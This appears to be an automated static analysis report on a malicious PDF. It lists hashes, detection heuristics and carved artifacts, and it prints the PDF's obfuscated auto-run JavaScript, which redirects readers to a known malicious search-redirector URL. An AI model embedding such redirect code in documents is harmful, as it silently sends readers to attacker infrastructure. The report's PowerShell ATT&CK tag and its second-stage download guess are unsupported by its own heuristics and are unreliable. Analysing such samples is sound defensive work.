Malicious PDF — malware analysis report

Static analysis result for SHA-256 2831fb0cd465427c…

MALICIOUS

PDF

56.4 KB Created: 2011-01-14 00:17:20 +02:00 Authoring application: http://google.wiki.usfca.edu/ (via mPDF 5.0) First seen: 2026-05-08
MD5: 6d9dd94bfa60a4fccc489b89578993b9 SHA-1: 5fc612b5be027ed99415cb66b29ad55eacb97c28 SHA-256: 2831fb0cd465427c424556c464532afa5aa2abcd69dcdfe241abfc0001e72a3d
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file exhibits suspicious characteristics, including embedded JavaScript and obfuscation indicators. The presence of PDF_JAVASCRIPT and PDF_JS heuristics, along with the 'Suspicious extracted artifact' firing, strongly suggests that the embedded JavaScript is malicious. This script, named 'javascript_obj0036_000.js', is likely designed to download and execute a second-stage payload, although the exact nature of the payload cannot be determined from the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9174

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchglobalsite.com/in.cgi?17 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0036_000.js pdf-javascript-stream PDF /JS object 36 at offset 0xD996 136 bytes
SHA-256: a2620a0be21a26956e8296a3c8163c8c260cb6a920586f15a19c6e170ac30940
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%37'))
stream_003_off00001f0c.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x1F0C 17828 bytes
SHA-256: bcf5107c91bd72ae525cb91c0b8f0209abbff9790de25334672d6d2796dfdaea
font_01_sfnt_off00004d4a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4D4A 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00007b8a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7B8A 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516
font_03_sfnt_off0000ae17.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xAE17 18756 bytes
SHA-256: e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9

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